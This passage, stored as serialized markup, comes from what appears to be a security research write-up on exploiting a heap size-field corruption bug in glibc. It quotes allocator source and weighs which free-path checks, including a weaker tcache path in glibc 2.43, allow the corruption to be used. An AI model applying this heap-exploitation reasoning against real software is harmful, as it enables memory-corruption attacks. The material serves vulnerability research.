(mem);\n",{"type":24,"tag":327,"props":133278,"children":133279},{"class":329,"line":500},[133280,133284,133288,133293],{"type":24,"tag":327,"props":133281,"children":133282},{"style":425},[133283],{"type":29,"value":38104},{"type":24,"tag":327,"props":133285,"children":133286},{"style":346},[133287],{"type":29,"value":5894},{"type":24,"tag":327,"props":133289,"children":133290},{"style":340},[133291],{"type":29,"value":133292},"chunk_is_mmapped",{"type":24,"tag":327,"props":133294,"children":133295},{"style":346},[133296],{"type":29,"value":133297}," (p))\n",{"type":24,"tag":327,"props":133299,"children":133300},{"class":329,"line":529},[133301],{"type":24,"tag":327,"props":133302,"children":133303},{"style":346},[133304],{"type":29,"value":35895},{"type":24,"tag":327,"props":133306,"children":133307},{"class":329,"line":538},[133308,133313],{"type":24,"tag":327,"props":133309,"children":133310},{"style":340},[133311],{"type":29,"value":133312},"      munmap_chunk",{"type":24,"tag":327,"props":133314,"children":133315},{"style":346},[133316],{"type":29,"value":133317}," (p);\n",{"type":24,"tag":327,"props":133319,"children":133320},{"class":329,"line":547},[133321],{"type":24,"tag":327,"props":133322,"children":133323},{"style":346},[133324],{"type":29,"value":535},{"type":24,"tag":327,"props":133326,"children":133327},{"class":329,"line":557},[133328],{"type":24,"tag":327,"props":133329,"children":133330},{"style":425},[133331],{"type":29,"value":133332},"  else\n",{"type":24,"tag":327,"props":133334,"children":133335},{"class":329,"line":586},[133336],{"type":24,"tag":327,"props":133337,"children":133338},{"style":346},[133339],{"type":29,"value":35895},{"type":24,"tag":327,"props":133341,"children":133342},{"class":329,"line":1017},[133343,133348],{"type":24,"tag":327,"props":133344,"children":133345},{"style":340},[133346],{"type":29,"value":133347},"      MAYBE_INIT_TCACHE",{"type":24,"tag":327,"props":133349,"children":133350},{"style":346},[133351],{"type":29,"value":133352}," ();\n",{"type":24,"tag":327,"props":133354,"children":133355},{"class":329,"line":1026},[133356],{"type":24,"tag":327,"props":133357,"children":133358},{"emptyLinePlaceholder":16},[133359],{"type":29,"value":544},{"type":24,"tag":327,"props":133361,"children":133362},{"class":329,"line":1048},[133363,133368,133372,133377],{"type":24,"tag":327,"props":133364,"children":133365},{"style":346},[133366],{"type":29,"value":133367},"      ar_ptr ",{"type":24,"tag":327,"props":133369,"children":133370},{"style":381},[133371],{"type":29,"value":384},{"type":24,"tag":327,"props":133373,"children":133374},{"style":340},[133375],{"type":29,"value":133376}," arena_for_chunk",{"type":24,"tag":327,"props":133378,"children":133379},{"style":346},[133380],{"type":29,"value":133317},{"type":24,"tag":327,"props":133382,"children":133383},{"class":329,"line":1067},[133384,133389,133394,133398],{"type":24,"tag":327,"props":133385,"children":133386},{"style":340},[133387],{"type":29,"value":133388},"      _int_free",{"type":24,"tag":327,"props":133390,"children":133391},{"style":346},[133392],{"type":29,"value":133393}," (ar_ptr, p, ",{"type":24,"tag":327,"props":133395,"children":133396},{"style":397},[133397],{"type":29,"value":2988},{"type":24,"tag":327,"props":133399,"children":133400},{"style":346},[133401],{"type":29,"value":583},{"type":24,"tag":327,"props":133403,"children":133404},{"class":329,"line":1075},[133405],{"type":24,"tag":327,"props":133406,"children":133407},{"style":346},[133408],{"type":29,"value":535},{"type":24,"tag":327,"props":133410,"children":133411},{"class":329,"line":1084},[133412],{"type":24,"tag":327,"props":133413,"children":133414},{"style":346},[133415],{"type":29,"value":592},{"type":24,"tag":25,"props":133417,"children":133418},{},[133419,133421,133426,133428,133433,133435,133441,133443,133449,133451,133456,133458,133463,133465,133470,133472,133477],{"type":29,"value":133420},"We can see that if the ",{"type":24,"tag":284,"props":133422,"children":133424},{"className":133423},[],[133425],{"type":29,"value":133156},{"type":29,"value":133427}," bit is set in the corrupted ",{"type":24,"tag":284,"props":133429,"children":133431},{"className":133430},[],[133432],{"type":29,"value":130987},{"type":29,"value":133434}," field, glibc will call ",{"type":24,"tag":284,"props":133436,"children":133438},{"className":133437},[],[133439],{"type":29,"value":133440},"munmap_chunk",{"type":29,"value":133442},", which internally checks that ",{"type":24,"tag":284,"props":133444,"children":133446},{"className":133445},[],[133447],{"type":29,"value":133448},"prev_size + size",{"type":29,"value":133450}," is page-aligned. To reach the ",{"type":24,"tag":284,"props":133452,"children":133454},{"className":133453},[],[133455],{"type":29,"value":130987},{"type":29,"value":133457}," field, we first have to overwrite the entire 8-byte ",{"type":24,"tag":284,"props":133459,"children":133461},{"className":133460},[],[133462],{"type":29,"value":133106},{"type":29,"value":133464}," field with uncontrolled data. The chance that a corrupted ",{"type":24,"tag":284,"props":133466,"children":133468},{"className":133467},[],[133469],{"type":29,"value":133448},{"type":29,"value":133471}," value still ends up page-aligned is extremely small. In practice, if ",{"type":24,"tag":284,"props":133473,"children":133475},{"className":133474},[],[133476],{"type":29,"value":133156},{"type":29,"value":133478}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":24,"tag":25,"props":133480,"children":133481},{},[133482,133484,133489,133491,133497],{"type":29,"value":133483},"Assuming ",{"type":24,"tag":284,"props":133485,"children":133487},{"className":133486},[],[133488],{"type":29,"value":133156},{"type":29,"value":133490}," is not set, execution continues into ",{"type":24,"tag":284,"props":133492,"children":133494},{"className":133493},[],[133495],{"type":29,"value":133496},"_int_free",{"type":29,"value":1636},{"type":24,"tag":317,"props":133499,"children":133501},{"code":133500,"language":320,"meta":7,"className":321,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n  INTERNAL_SIZE_T size;\n\n  size = chunksize (p);\n\n  /* Little security check which won't hurt performance: the\n     allocator never wraps around at the end of the address space.\n     Therefore we can exclude some size values which might appear\n     here by accident or by \"design\" from some intruder.  */\n  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n      || __builtin_expect (misaligned_chunk (p), 0))\n    malloc_printerr (\"free(): invalid pointer\");\n  /* We know that each chunk is at least MINSIZE bytes in size or a\n     multiple of MALLOC_ALIGNMENT.  */\n  if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n    malloc_printerr (\"free(): invalid size\");\n\n  check_inuse_chunk(av, p);\n\n  [...]\n",[133502],{"type":24,"tag":284,"props":133503,"children":133504},{"__ignoreMap":7},[133505,133517,133560,133567,133575,133582,133603,133610,133618,133626,133634,133642,133706,133741,133762,133770,133778,133826,133846,133853,133866,133873],{"type":24,"tag":327,"props":133506,"children":133507},{"class":329,"line":330},[133508,133512],{"type":24,"tag":327,"props":133509,"children":133510},{"style":334},[133511],{"type":29,"value":57765},{"type":24,"tag":327,"props":133513,"children":133514},{"style":334},[133515],{"type":29,"value":133516}," void\n",{"type":24,"tag":327,"props":133518,"children":133519},{"class":329,"line":367},[133520,133524,133529,133534,133539,133543,133547,133551,133556],{"type":24,"tag":327,"props":133521,"children":133522},{"style":340},[133523],{"type":29,"value":133496},{"type":24,"tag":327,"props":133525,"children":133526},{"style":346},[133527],{"type":29,"value":133528}," (mstate ",{"type":24,"tag":327,"props":133530,"children":133531},{"style":356},[133532],{"type":29,"value":133533},"av",{"type":24,"tag":327,"props":133535,"children":133536},{"style":346},[133537],{"type":29,"value":133538},", mchunkptr ",{"type":24,"tag":327,"props":133540,"children":133541},{"style":356},[133542],{"type":29,"value":25},{"type":24,"tag":327,"props":133544,"children":133545},{"style":346},[133546],{"type":29,"value":2744},{"type":24,"tag":327,"props":133548,"children":133549},{"style":334},[133550],{"type":29,"value":337},{"type":24,"tag":327,"props":133552,"children":133553},{"style":356},[133554],{"type":29,"value":133555}," have_lock",{"type":24,"tag":327,"props":133557,"children":133558},{"style":346},[133559],{"type":29,"value":852},{"type":24,"tag":327,"props":133561,"children":133562},{"class":329,"line":408},[133563],{"type":24,"tag":327,"props":133564,"children":133565},{"style":346},[133566],{"type":29,"value":18427},{"type":24,"tag":327,"props":133568,"children":133569},{"class":329,"line":421},[133570],{"type":24,"tag":327,"props":133571,"children":133572},{"style":346},[133573],{"type":29,"value":133574},"  INTERNAL_SIZE_T size;\n",{"type":24,"tag":327,"props":133576,"children":133577},{"class":329,"line":450},[133578],{"type":24,"tag":327,"props":133579,"children":133580},{"emptyLinePlaceholder":16},[133581],{"type":29,"value":544},{"type":24,"tag":327,"props":133583,"children":133584},{"class":329,"line":481},[133585,133590,133594,133599],{"type":24,"tag":327,"props":133586,"children":133587},{"style":346},[133588],{"type":29,"value":133589},"  size ",{"type":24,"tag":327,"props":133591,"children":133592},{"style":381},[133593],{"type":29,"value":384},{"type":24,"tag":327,"props":133595,"children":133596},{"style":340},[133597],{"type":29,"value":133598}," chunksize",{"type":24,"tag":327,"props":133600,"children":133601},{"style":346},[133602],{"type":29,"value":133317},{"type":24,"tag":327,"props":133604,"children":133605},{"class":329,"line":500},[133606],{"type":24,"tag":327,"props":133607,"children":133608},{"emptyLinePlaceholder":16},[133609],{"type":29,"value":544},{"type":24,"tag":327,"props":133611,"children":133612},{"class":329,"line":529},[133613],{"type":24,"tag":327,"props":133614,"children":133615},{"style":551},[133616],{"type":29,"value":133617},"  /* Little security check which won't hurt performance: the\n",{"type":24,"tag":327,"props":133619,"children":133620},{"class":329,"line":538},[133621],{"type":24,"tag":327,"props":133622,"children":133623},{"style":551},[133624],{"type":29,"value":133625},"     allocator never wraps around at the end of the address space.\n",{"type":24,"tag":327,"props":133627,"children":133628},{"class":329,"line":547},[133629],{"type":24,"tag":327,"props":133630,"children":133631},{"style":551},[133632],{"type":29,"value":133633},"     Therefore we can exclude some size values which might appear\n",{"type":24,"tag":327,"props":133635,"children":133636},{"class":329,"line":557},[133637],{"type":24,"tag":327,"props":133638,"children":133639},{"style":551},[133640],{"type":29,"value":133641},"     here by accident or by \"design\" from some intruder.  */\n",{"type":24,"tag":327,"props":133643,"children":133644},{"class":329,"line":586},[133645,133649,133653,133658,133663,133668,133673,133677,133681,133685,133689,133693,133698,133702],{"type":24,"tag":327,"props":133646,"children":133647},{"style":425},[133648],{"type":29,"value":38104},{"type":24,"tag":327,"props":133650,"children":133651},{"style":346},[133652],{"type":29,"value":5894},{"type":24,"tag":327,"props":133654,"children":133655},{"style":340},[133656],{"type":29,"value":133657},"__builtin_expect",{"type":24,"tag":327,"props":133659,"children":133660},{"style":346},[133661],{"type":29,"value":133662}," ((",{"type":24,"tag":327,"props":133664,"children":133665},{"style":334},[133666],{"type":29,"value":133667},"uintptr_t",{"type":24,"tag":327,"props":133669,"children":133670},{"style":346},[133671],{"type":29,"value":133672},") p ",{"type":24,"tag":327,"props":133674,"children":133675},{"style":381},[133676],{"type":29,"value":438},{"type":24,"tag":327,"props":133678,"children":133679},{"style":346},[133680],{"type":29,"value":5894},{"type":24,"tag":327,"props":133682,"children":133683},{"style":334},[133684],{"type":29,"value":133667},{"type":24,"tag":327,"props":133686,"children":133687},{"style":346},[133688],{"type":29,"value":1674},{"type":24,"tag":327,"props":133690,"children":133691},{"style":381},[133692],{"type":29,"value":11899},{"type":24,"tag":327,"props":133694,"children":133695},{"style":346},[133696],{"type":29,"value":133697},"size, ",{"type":24,"tag":327,"props":133699,"children":133700},{"style":397},[133701],{"type":29,"value":2988},{"type":24,"tag":327,"props":133703,"children":133704},{"style":346},[133705],{"type":29,"value":852},{"type":24,"tag":327,"props":133707,"children":133708},{"class":329,"line":1017},[133709,133714,133719,133723,133728,133733,133737],{"type":24,"tag":327,"props":133710,"children":133711},{"style":381},[133712],{"type":29,"value":133713},"      ||",{"type":24,"tag":327,"props":133715,"children":133716},{"style":340},[133717],{"type":29,"value":133718}," __builtin_expect",{"type":24,"tag":327,"props":133720,"children":133721},{"style":346},[133722],{"type":29,"value":5894},{"type":24,"tag":327,"props":133724,"children":133725},{"style":340},[133726],{"type":29,"value":133727},"misaligned_chunk",{"type":24,"tag":327,"props":133729,"children":133730},{"style":346},[133731],{"type":29,"value":133732}," (p), ",{"type":24,"tag":327,"props":133734,"children":133735},{"style":397},[133736],{"type":29,"value":2988},{"type":24,"tag":327,"props":133738,"children":133739},{"style":346},[133740],{"type":29,"value":1045},{"type":24,"tag":327,"props":133742,"children":133743},{"class":329,"line":1026},[133744,133749,133753,133758],{"type":24,"tag":327,"props":133745,"children":133746},{"style":340},[133747],{"type":29,"value":133748},"    malloc_printerr",{"type":24,"tag":327,"props":133750,"children":133751},{"style":346},[133752],{"type":29,"value":5894},{"type":24,"tag":327,"props":133754,"children":133755},{"style":844},[133756],{"type":29,"value":133757},"\"free(): invalid pointer\"",{"type":24,"tag":327,"props":133759,"children":133760},{"style":346},[133761],{"type":29,"value":583},{"type":24,"tag":327,"props":133763,"children":133764},{"class":329,"line":1048},[133765],{"type":24,"tag":327,"props":133766,"children":133767},{"style":551},[133768],{"type":29,"value":133769},"  /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":24,"tag":327,"props":133771,"children":133772},{"class":329,"line":1067},[133773],{"type":24,"tag":327,"props":133774,"children":133775},{"style":551},[133776],{"type":29,"value":133777},"     multiple of MALLOC_ALIGNMENT.  */\n",{"type":24,"tag":327,"props":133779,"children":133780},{"class":329,"line":1075},[133781,133785,133789,133794,133799,133803,133808,133812,133816,133821],{"type":24,"tag":327,"props":133782,"children":133783},{"style":425},[133784],{"type":29,"value":38104},{"type":24,"tag":327,"props":133786,"children":133787},{"style":346},[133788],{"type":29,"value":5894},{"type":24,"tag":327,"props":133790,"children":133791},{"style":340},[133792],{"type":29,"value":133793},"__glibc_unlikely",{"type":24,"tag":327,"props":133795,"children":133796},{"style":346},[133797],{"type":29,"value":133798}," (size ",{"type":24,"tag":327,"props":133800,"children":133801},{"style":381},[133802],{"type":29,"value":1596},{"type":24,"tag":327,"props":133804,"children":133805},{"style":346},[133806],{"type":29,"value":133807}," MINSIZE ",{"type":24,"tag":327,"props":133809,"children":133810},{"style":381},[133811],{"type":29,"value":3830},{"type":24,"tag":327,"props":133813,"children":133814},{"style":381},[133815],{"type":29,"value":20408},{"type":24,"tag":327,"props":133817,"children":133818},{"style":340},[133819],{"type":29,"value":133820},"aligned_OK",{"type":24,"tag":327,"props":133822,"children":133823},{"style":346},[133824],{"type":29,"value":133825}," (size)))\n",{"type":24,"tag":327,"props":133827,"children":133828},{"class":329,"line":1084},[133829,133833,133837,133842],{"type":24,"tag":327,"props":133830,"children":133831},{"style":340},[133832],{"type":29,"value":133748},{"type":24,"tag":327,"props":133834,"children":133835},{"style":346},[133836],{"type":29,"value":5894},{"type":24,"tag":327,"props":133838,"children":133839},{"style":844},[133840],{"type":29,"value":133841},"\"free(): invalid size\"",{"type":24,"tag":327,"props":133843,"children":133844},{"style":346},[133845],{"type":29,"value":583},{"type":24,"tag":327,"props":133847,"children":133848},{"class":329,"line":1100},[133849],{"type":24,"tag":327,"props":133850,"children":133851},{"emptyLinePlaceholder":16},[133852],{"type":29,"value":544},{"type":24,"tag":327,"props":133854,"children":133855},{"class":329,"line":1128},[133856,133861],{"type":24,"tag":327,"props":133857,"children":133858},{"style":340},[133859],{"type":29,"value":133860},"  check_inuse_chunk",{"type":24,"tag":327,"props":133862,"children":133863},{"style":346},[133864],{"type":29,"value":133865},"(av, p);\n",{"type":24,"tag":327,"props":133867,"children":133868},{"class":329,"line":1148},[133869],{"type":24,"tag":327,"props":133870,"children":133871},{"emptyLinePlaceholder":16},[133872],{"type":29,"value":544},{"type":24,"tag":327,"props":133874,"children":133875},{"class":329,"line":1176},[133876],{"type":24,"tag":327,"props":133877,"children":133878},{"style":346},[133879],{"type":29,"value":133880},"  [...]\n",{"type":24,"tag":25,"props":133882,"children":133883},{},[133884],{"type":29,"value":133885},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":24,"tag":25,"props":133887,"children":133888},{},[133889,133891,133896,133898,133903,133905,133910,133912,133917],{"type":29,"value":133890},"The next check, however, ensures that the ",{"type":24,"tag":284,"props":133892,"children":133894},{"className":133893},[],[133895],{"type":29,"value":130987},{"type":29,"value":133897}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":24,"tag":284,"props":133899,"children":133901},{"className":133900},[],[133902],{"type":29,"value":130987},{"type":29,"value":133904}," must preserve alignment while also avoiding the ",{"type":24,"tag":284,"props":133906,"children":133908},{"className":133907},[],[133909],{"type":29,"value":133156},{"type":29,"value":133911}," bit. Under those constraints, exploiting the bug through ",{"type":24,"tag":284,"props":133913,"children":133915},{"className":133914},[],[133916],{"type":29,"value":130987},{"type":29,"value":133918}," corruption looked very unreliable at first.",{"type":24,"tag":25,"props":133920,"children":133921},{},[133922],{"type":29,"value":133923},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":24,"tag":317,"props":133925,"children":133927},{"code":133926,"language":320,"meta":7,"className":321,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n    {\n      [...]\n\n      return tcache_put (p, tc_idx);\n    }\n",[133928],{"type":24,"tag":284,"props":133929,"children":133930},{"__ignoreMap":7},[133931,133939,133966,133973,133980,133987,134006,134013,134033,134040,134068,134092,134099,134112,134154,134161,134169,134176,134193],{"type":24,"tag":327,"props":133932,"children":133933},{"class":329,"line":330},[133934],{"type":24,"tag":327,"props":133935,"children":133936},{"style":334},[133937],{"type":29,"value":133938},"void\n",{"type":24,"tag":327,"props":133940,"children":133941},{"class":329,"line":367},[133942,133946,133950,133954,133958,133962],{"type":24,"tag":327,"props":133943,"children":133944},{"style":340},[133945],{"type":29,"value":133204},{"type":24,"tag":327,"props":133947,"children":133948},{"style":346},[133949],{"type":29,"value":5894},{"type":24,"tag":327,"props":133951,"children":133952},{"style":334},[133953],{"type":29,"value":58348},{"type":24,"tag":327,"props":133955,"children":133956},{"style":381},[133957],{"type":29,"value":17364},{"type":24,"tag":327,"props":133959,"children":133960},{"style":356},[133961],{"type":29,"value":47378},{"type":24,"tag":327,"props":133963,"children":133964},{"style":346},[133965],{"type":29,"value":852},{"type":24,"tag":327,"props":133967,"children":133968},{"class":329,"line":408},[133969],{"type":24,"tag":327,"props":133970,"children":133971},{"style":346},[133972],{"type":29,"value":18427},{"type":24,"tag":327,"props":133974,"children":133975},{"class":329,"line":421},[133976],{"type":24,"tag":327,"props":133977,"children":133978},{"style":346},[133979],{"type":29,"value":133247},{"type":24,"tag":327,"props":133981,"children":133982},{"class":329,"line":450},[133983],{"type":24,"tag":327,"props":133984,"children":133985},{"emptyLinePlaceholder":16},[133986],{"type":29,"value":544},{"type":24,"tag":327,"props":133988,"children":133989},{"class":329,"line":481},[133990,133994,133998,134002],{"type":24,"tag":327,"props":133991,"children":133992},{"style":346},[133993],{"type":29,"value":133262},{"type":24,"tag":327,"props":133995,"children":133996},{"style":381},[133997],{"type":29,"value":384},{"type":24,"tag":327,"props":133999,"children":134000},{"style":340},[134001],{"type":29,"value":133271},{"type":24,"tag":327,"props":134003,"children":134004},{"style":346},[134005],{"type":29,"value":133276},{"type":24,"tag":327,"props":134007,"children":134008},{"class":329,"line":500},[134009],{"type":24,"tag":327,"props":134010,"children":134011},{"emptyLinePlaceholder":16},[134012],{"type":29,"value":544},{"type":24,"tag":327,"props":134014,"children":134015},{"class":329,"line":529},[134016,134021,134025,134029],{"type":24,"tag":327,"props":134017,"children":134018},{"style":346},[134019],{"type":29,"value":134020},"  INTERNAL_SIZE_T size ",{"type":24,"tag":327,"props":134022,"children":134023},{"style":381},[134024],{"type":29,"value":384},{"type":24,"tag":327,"props":134026,"children":134027},{"style":340},[134028],{"type":29,"value":133598},{"type":24,"tag":327,"props":134030,"children":134031},{"style":346},[134032],{"type":29,"value":133317},{"type":24,"tag":327,"props":134034,"children":134035},{"class":329,"line":538},[134036],{"type":24,"tag":327,"props":134037,"children":134038},{"emptyLinePlaceholder":16},[134039],{"type":29,"value":544},{"type":24,"tag":327,"props":134041,"children":134042},{"class":329,"line":547},[134043,134047,134051,134055,134059,134063],{"type":24,"tag":327,"props":134044,"children":134045},{"style":425},[134046],{"type":29,"value":38104},{"type":24,"tag":327,"props":134048,"children":134049},{"style":346},[134050],{"type":29,"value":5894},{"type":24,"tag":327,"props":134052,"children":134053},{"style":340},[134054],{"type":29,"value":133793},{"type":24,"tag":327,"props":134056,"children":134057},{"style":346},[134058],{"type":29,"value":5894},{"type":24,"tag":327,"props":134060,"children":134061},{"style":340},[134062],{"type":29,"value":133727},{"type":24,"tag":327,"props":134064,"children":134065},{"style":346},[134066],{"type":29,"value":134067}," (p)))\n",{"type":24,"tag":327,"props":134069,"children":134070},{"class":329,"line":557},[134071,134075,134080,134084,134088],{"type":24,"tag":327,"props":134072,"children":134073},{"style":425},[134074],{"type":29,"value":6023},{"type":24,"tag":327,"props":134076,"children":134077},{"style":340},[134078],{"type":29,"value":134079}," malloc_printerr_tail",{"type":24,"tag":327,"props":134081,"children":134082},{"style":346},[134083],{"type":29,"value":5894},{"type":24,"tag":327,"props":134085,"children":134086},{"style":844},[134087],{"type":29,"value":133757},{"type":24,"tag":327,"props":134089,"children":134090},{"style":346},[134091],{"type":29,"value":583},{"type":24,"tag":327,"props":134093,"children":134094},{"class":329,"line":586},[134095],{"type":24,"tag":327,"props":134096,"children":134097},{"emptyLinePlaceholder":16},[134098],{"type":29,"value":544},{"type":24,"tag":327,"props":134100,"children":134101},{"class":329,"line":1017},[134102,134107],{"type":24,"tag":327,"props":134103,"children":134104},{"style":425},[134105],{"type":29,"value":134106},"#if",{"type":24,"tag":327,"props":134108,"children":134109},{"style":340},[134110],{"type":29,"value":134111}," USE_TCACHE\n",{"type":24,"tag":327,"props":134113,"children":134114},{"class":329,"line":1026},[134115,134119,134123,134128,134132,134136,134141,134145,134150],{"type":24,"tag":327,"props":134116,"children":134117},{"style":425},[134118],{"type":29,"value":38104},{"type":24,"tag":327,"props":134120,"children":134121},{"style":346},[134122],{"type":29,"value":5894},{"type":24,"tag":327,"props":134124,"children":134125},{"style":340},[134126],{"type":29,"value":134127},"__glibc_likely",{"type":24,"tag":327,"props":134129,"children":134130},{"style":346},[134131],{"type":29,"value":133798},{"type":24,"tag":327,"props":134133,"children":134134},{"style":381},[134135],{"type":29,"value":1596},{"type":24,"tag":327,"props":134137,"children":134138},{"style":356},[134139],{"type":29,"value":134140}," mp_",{"type":24,"tag":327,"props":134142,"children":134143},{"style":346},[134144],{"type":29,"value":66},{"type":24,"tag":327,"props":134146,"children":134147},{"style":356},[134148],{"type":29,"value":134149},"tcache_max_bytes",{"type":24,"tag":327,"props":134151,"children":134152},{"style":346},[134153],{"type":29,"value":1045},{"type":24,"tag":327,"props":134155,"children":134156},{"class":329,"line":1048},[134157],{"type":24,"tag":327,"props":134158,"children":134159},{"style":346},[134160],{"type":29,"value":35895},{"type":24,"tag":327,"props":134162,"children":134163},{"class":329,"line":1067},[134164],{"type":24,"tag":327,"props":134165,"children":134166},{"style":346},[134167],{"type":29,"value":134168},"      [...]\n",{"type":24,"tag":327,"props":134170,"children":134171},{"class":329,"line":1075},[134172],{"type":24,"tag":327,"props":134173,"children":134174},{"emptyLinePlaceholder":16},[134175],{"type":29,"value":544},{"type":24,"tag":327,"props":134177,"children":134178},{"class":329,"line":1084},[134179,134183,134188],{"type":24,"tag":327,"props":134180,"children":134181},{"style":425},[134182],{"type":29,"value":46070},{"type":24,"tag":327,"props":134184,"children":134185},{"style":340},[134186],{"type":29,"value":134187}," tcache_put",{"type":24,"tag":327,"props":134189,"children":134190},{"style":346},[134191],{"type":29,"value":134192}," (p, tc_idx);\n",{"type":24,"tag":327,"props":134194,"children":134195},{"class":329,"line":1100},[134196],{"type":24,"tag":327,"props":134197,"children":134198},{"style":346},[134199],{"type":29,"value":535},{"type":24,"tag":25,"props":134201,"children":134202},{},[134203,134205,134210],{"type":29,"value":134204},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":24,"tag":284,"props":134206,"children":134208},{"className":134207},[],[134209],{"type":29,"value":130987},{"type":29,"value":134211}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":24,"tag":25,"props":134213,"children":134214},{},[134215,134217,134223,134224,134229],{"type":29,"value":134216},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":24,"tag":284,"props":134218,"children":134220},{"className":134219},[],[134221],{"type":29,"value":134222},"check_inuse_chunk",{"type":29,"value":5894},{"type":24,"tag":284,"props":134225,"children":134227},{"className":134226},[],[134228],{"type":29,"value":131115},{"type":29,"value":5393},{"type":24,"tag":317,"props":134231,"children":134233},{"code":134232,"language":320,"meta":7,"className":321,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n  check_inuse_chunk (arena_for_chunk (p), p);             // [1]\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n  [...]\n",[134234],{"type":24,"tag":284,"props":134235,"children":134236},{"__ignoreMap":7},[134237,134244,134271,134278,134285,134292,134311,134318,134337,134344,134371,134394,134401,134427,134434,134445,134502],{"type":24,"tag":327,"props":134238,"children":134239},{"class":329,"line":330},[134240],{"type":24,"tag":327,"props":134241,"children":134242},{"style":334},[134243],{"type":29,"value":133938},{"type":24,"tag":327,"props":134245,"children":134246},{"class":329,"line":367},[134247,134251,134255,134259,134263,134267],{"type":24,"tag":327,"props":134248,"children":134249},{"style":340},[134250],{"type":29,"value":133204},{"type":24,"tag":327,"props":134252,"children":134253},{"style":346},[134254],{"type":29,"value":5894},{"type":24,"tag":327,"props":134256,"children":134257},{"style":334},[134258],{"type":29,"value":58348},{"type":24,"tag":327,"props":134260,"children":134261},{"style":381},[134262],{"type":29,"value":17364},{"type":24,"tag":327,"props":134264,"children":134265},{"style":356},[134266],{"type":29,"value":47378},{"type":24,"tag":327,"props":134268,"children":134269},{"style":346},[134270],{"type":29,"value":852},{"type":24,"tag":327,"props":134272,"children":134273},{"class":329,"line":408},[134274],{"type":24,"tag":327,"props":134275,"children":134276},{"style":346},[134277],{"type":29,"value":18427},{"type":24,"tag":327,"props":134279,"children":134280},{"class":329,"line":421},[134281],{"type":24,"tag":327,"props":134282,"children":134283},{"style":346},[134284],{"type":29,"value":133247},{"type":24,"tag":327,"props":134286,"children":134287},{"class":329,"line":450},[134288],{"type":24,"tag":327,"props":134289,"children":134290},{"emptyLinePlaceholder":16},[134291],{"type":29,"value":544},{"type":24,"tag":327,"props":134293,"children":134294},{"class":329,"line":481},[134295,134299,134303,134307],{"type":24,"tag":327,"props":134296,"children":134297},{"style":346},[134298],{"type":29,"value":133262},{"type":24,"tag":327,"props":134300,"children":134301},{"style":381},[134302],{"type":29,"value":384},{"type":24,"tag":327,"props":134304,"children":134305},{"style":340},[134306],{"type":29,"value":133271},{"type":24,"tag":327,"props":134308,"children":134309},{"style":346},[134310],{"type":29,"value":133276},{"type":24,"tag":327,"props":134312,"children":134313},{"class":329,"line":500},[134314],{"type":24,"tag":327,"props":134315,"children":134316},{"emptyLinePlaceholder":16},[134317],{"type":29,"value":544},{"type":24,"tag":327,"props":134319,"children":134320},{"class":329,"line":529},[134321,134325,134329,134333],{"type":24,"tag":327,"props":134322,"children":134323},{"style":346},[134324],{"type":29,"value":134020},{"type":24,"tag":327,"props":134326,"children":134327},{"style":381},[134328],{"type":29,"value":384},{"type":24,"tag":327,"props":134330,"children":134331},{"style":340},[134332],{"type":29,"value":133598},{"type":24,"tag":327,"props":134334,"children":134335},{"style":346},[134336],{"type":29,"value":133317},{"type":24,"tag":327,"props":134338,"children":134339},{"class":329,"line":538},[134340],{"type":24,"tag":327,"props":134341,"children":134342},{"emptyLinePlaceholder":16},[134343],{"type":29,"value":544},{"type":24,"tag":327,"props":134345,"children":134346},{"class":329,"line":547},[134347,134351,134355,134359,134363,134367],{"type":24,"tag":327,"props":134348,"children":134349},{"style":425},[134350],{"type":29,"value":38104},{"type":24,"tag":327,"props":134352,"children":134353},{"style":346},[134354],{"type":29,"value":5894},{"type":24,"tag":327,"props":134356,"children":134357},{"style":340},[134358],{"type":29,"value":133793},{"type":24,"tag":327,"props":134360,"children":134361},{"style":346},[134362],{"type":29,"value":5894},{"type":24,"tag":327,"props":134364,"children":134365},{"style":340},[134366],{"type":29,"value":133727},{"type":24,"tag":327,"props":134368,"children":134369},{"style":346},[134370],{"type":29,"value":134067},{"type":24,"tag":327,"props":134372,"children":134373},{"class":329,"line":557},[134374,134378,134382,134386,134390],{"type":24,"tag":327,"props":134375,"children":134376},{"style":425},[134377],{"type":29,"value":6023},{"type":24,"tag":327,"props":134379,"children":134380},{"style":340},[134381],{"type":29,"value":134079},{"type":24,"tag":327,"props":134383,"children":134384},{"style":346},[134385],{"type":29,"value":5894},{"type":24,"tag":327,"props":134387,"children":134388},{"style":844},[134389],{"type":29,"value":133757},{"type":24,"tag":327,"props":134391,"children":134392},{"style":346},[134393],{"type":29,"value":583},{"type":24,"tag":327,"props":134395,"children":134396},{"class":329,"line":586},[134397],{"type":24,"tag":327,"props":134398,"children":134399},{"emptyLinePlaceholder":16},[134400],{"type":29,"value":544},{"type":24,"tag":327,"props":134402,"children":134403},{"class":329,"line":1017},[134404,134408,134412,134417,134422],{"type":24,"tag":327,"props":134405,"children":134406},{"style":340},[134407],{"type":29,"value":133860},{"type":24,"tag":327,"props":134409,"children":134410},{"style":346},[134411],{"type":29,"value":5894},{"type":24,"tag":327,"props":134413,"children":134414},{"style":340},[134415],{"type":29,"value":134416},"arena_for_chunk",{"type":24,"tag":327,"prop